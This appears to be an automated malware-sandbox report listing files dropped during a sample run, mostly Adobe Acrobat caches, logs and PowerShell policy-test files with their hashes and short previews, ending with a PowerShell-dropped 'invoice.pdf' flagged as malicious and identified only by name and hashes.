C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.243622308540648
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBeIwLDvV0x+FIbRI6XVW7+0Yb2xoAvJfshHHrPeUkwRe9:YvXKXBrwLD1YpW7EZGUUUkee9
MD5:	42D3C5BC25F7AEC9FDDC5271B840376E
SHA1:	D26CE60A8ADD9069398189F9ED474E73BF3F2C60
SHA-256:	CA58454BDE41B0BACC6DD41B7B4585F868BC82D42A061DB4A1C36D94C10F4F65
SHA-512:	FE9A47D5FD810EE49C6AA5227BA1221DEA4C896640207350E9E8A7DED81121A4EDE0D9A9148AAC35B34452C8DE729D808E411FF8E40B884AF850E2D559AA8A65
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"667d3c55-4a60-4c79-a1b9-4749968210a9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736715552874,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.255164737459141
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBeIwLDvV0x+FIbRI6XVW7+0Yb2xoAvJTqgFCrPeUkwRe9:YvXKXBrwLD1YpW7EZGTq16Ukee9
MD5:	ECF5FAA8596B2B352856099B9E139F51
SHA1:	F1D3FB6DA825F99B13B70AB12FA2C1EB07731E2A
SHA-256:	CFA97C1C4E25AC8AFF7A72300E64EFDE7FB875BB354E6DF0EB4F6D955B1605EB
SHA-512:	5458BB39D0B2B859818ED2B49353AEAC392CE92559A8E3A134DC25F405D319D0A3AD28D81DF61C0F9B773B6FC54CBAD7C605B1BADBE0DC8EA3BEB2ECBAAC782C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"667d3c55-4a60-4c79-a1b9-4749968210a9","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736715552874,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.13680655567013
Encrypted:	false
SSDEEP:	24:YxudF2azIBayi+JbZAW6Dpa62KjFj0StG9zJ2ux2LSnCqeCNqXdG5lm9OWfuBDOG:YC+YW6vxJ87dxdeCoMG9T+X
MD5:	651561DBAEB40D9AD9952E5DBCB7F777
SHA1:	B519F63B68D9B2EE9A13CA6F64CE4FC2E21155A1
SHA-256:	424D5E6B688A6082F9FB56B587438F6869BEF58A8CD5D5E10D0018AC706DAF1C
SHA-512:	9EC5DE910F8C1E55FEF9B32AEB890F6E74FD2E4DB6511E00EE0B97C375617E0355E3A9261B0DCE6BC1E0BCC94ACBFA4DD3BCAE1060B8D8FCA2ED7BD0CF8DA896
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c276b51aa02b72413d8a184afc71eca6","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736538732000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"6da651526d672c3011bdfa120aa891e7","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736538732000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"f588dbec1cff8c417368c5a0dd250a65","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736538732000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"9ee56630edc11aac23913c1eb1e263fd","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736538732000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"1c33e0b9eaa48b05773796ed14ff1ac5","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736538732000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a1947d9a9f20a6cb1fa66232cd033510","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9861827467893745
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spwmx4zJwtNBwtNbRZ6bRZ4pmxF:TVl2GL7ms6ggOVpwmyzutYtp6P2mD
MD5:	FEFCECBEDA1D1E8E3A1E9C3F2521727C
SHA1:	3BE2FA9C12E867C5AE93642BDF4CE7E079B4E108
SHA-256:	5E0EECB81B66699AE3F7C3C14DF33AF0123B34CA79EF9B0C68EE4BE4707ACB22
SHA-512:	D8B444FA94E3C406B824B45B4E8613EDC335F9AA54372062090316AB84A844FD1BCA08D000B8FEEF02928640E49DA04132E356AA7DB03AEF10BEDE8B562D918B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3409779496865535
Encrypted:	false
SSDEEP:	24:7+tKAD1RZKHs/Ds/SpwmxPzJwtNBwtNbRZ6bRZWf1RZKsfqLBx/XYKQvGJF7urs8:7MKGgOVpwmpzutYtp6PMtqll2GL7ms8
MD5:	DCD7551C4A190137DC490DA1BB5801CF
SHA1:	1438CEA119F86C86D35B1ABAA4D41C1F81323442
SHA-256:	0594CC7B3BE2E072B443A191687E486458518F2DCD13F0FBE0C82A0BEFEA9ABB
SHA-512:	BFCD382AF924631644D536712198456CAA6180ACC0281D0394D60378AEAD3F36B58E61FB36AD4FF1D38D014BBB8EEBE4A01B0BDE1EF66DF978ED327422619903
Malicious:	false
Preview:	.... .c.......Y.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgFrUid7L1+NouNOeKFQxrRxSXtYyu:6a6TZ44ADEFrUO78Nou/itK
MD5:	CF03B3712EB4282AA824D092945B0478
SHA1:	5C8FA3A9336040540735DBDD48E560B15ECC1E44
SHA-256:	7DBA9623DD438423D398AE63BAC7B6041D3BDE257703DD9A2D86A7CFCB6A43C2
SHA-512:	230BDBDC76B3587E0CBD9CBABE8A3CDC8EFEF36930D0BFD536A9BF05FBD224E0A2A73BDBCCED027DFAD6BD6FF7949A421C08FF5C2F06F5621451699BBCB707CE
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI80c5.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5004142083842487
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERBR:Qw946cPbiOxDlbYnuRK+bDnR
MD5:	6DC78ACFA1609E52201F93CD8B0D7CC4
SHA1:	C2AFE1473C91E3A1464C53E43742F21071EA98AD
SHA-256:	1A6EA2A848F0B19155AE7A24701DFBBF7702A0E1C950AA67BAC313D1E257B932
SHA-512:	339F6C310D67AF09D8508EF7629D4E3F88EBF9114E97183CCBD785FAD504FE03A7B3D67382B119EE94FCB9E192CF1907DDC59990F7D4A9177F46EC65772C00AE
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.5.2.:.1.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o0gjs5k0.hgv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oas3kn3v.crt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-52-08-232.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.325131464535306
Encrypted:	false
SSDEEP:	384:IwqFS0bD0zh7gKN0q8XC84KGRg2HLTPerkigmyAOHg56Mct6MhO4UVUlMGgQgHV6:cBpizbrB5
MD5:	35E4D04098D6988649F8025414A7953E
SHA1:	4E36ACA2C86655E5536DCA749EB7EE1F5DF8DC3D
SHA-256:	68A92BC1ABE291E1E69A722E15C2E0A6FC17B3082564033E30E515218DA5B1D3
SHA-512:	E7E5AFED3EE673BE403892DB709AB96DE01A50501E7EEBEE050828CC5A152D2770FD3640AA3ABE26807C43D07637488C7FD0C47D148EF7D47D901CBB4F521DE4
Malicious:	false
Preview:	SessionID=b4a7b85b-1edc-40df-8ef5-2724e55e5874.1736538728282 Timestamp=2025-01-10T14:52:08:282-0500 ThreadID=7504 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b4a7b85b-1edc-40df-8ef5-2724e55e5874.1736538728282 Timestamp=2025-01-10T14:52:08:283-0500 ThreadID=7504 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b4a7b85b-1edc-40df-8ef5-2724e55e5874.1736538728282 Timestamp=2025-01-10T14:52:08:283-0500 ThreadID=7504 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b4a7b85b-1edc-40df-8ef5-2724e55e5874.1736538728282 Timestamp=2025-01-10T14:52:08:283-0500 ThreadID=7504 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b4a7b85b-1edc-40df-8ef5-2724e55e5874.1736538728282 Timestamp=2025-01-10T14:52:08:283-0500 ThreadID=7504 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.390746514908729
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbB:mc
MD5:	9A9BE1BB1B88C8EB1EAF09D8C45343A5
SHA1:	277D0C2096E179229D40CA482CC7663B92413DC7
SHA-256:	4E805A327E5CE39B832A375C63533B29CE45845820154ABC89D2C930B508223C
SHA-512:	21ABC52D469BC9F33B072B169A0EF7AC3B89073FB8275A59D2DB232E0E1F6AE58CCDF34097A77F9D920132BCF3F9C7038898C530C4EAD0CE0283762157DC18F0
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\895f7b6a-6523-4f34-821f-ae23b413f22a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d89ec4cf-fcc9-4b4e-9170-13bf0fbd653b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d9a9fcf7-b858-41bf-8fa5-60953da3d1e8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fa9d6ad2-000b-4d52-80c3-bd0c40ab88ba.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
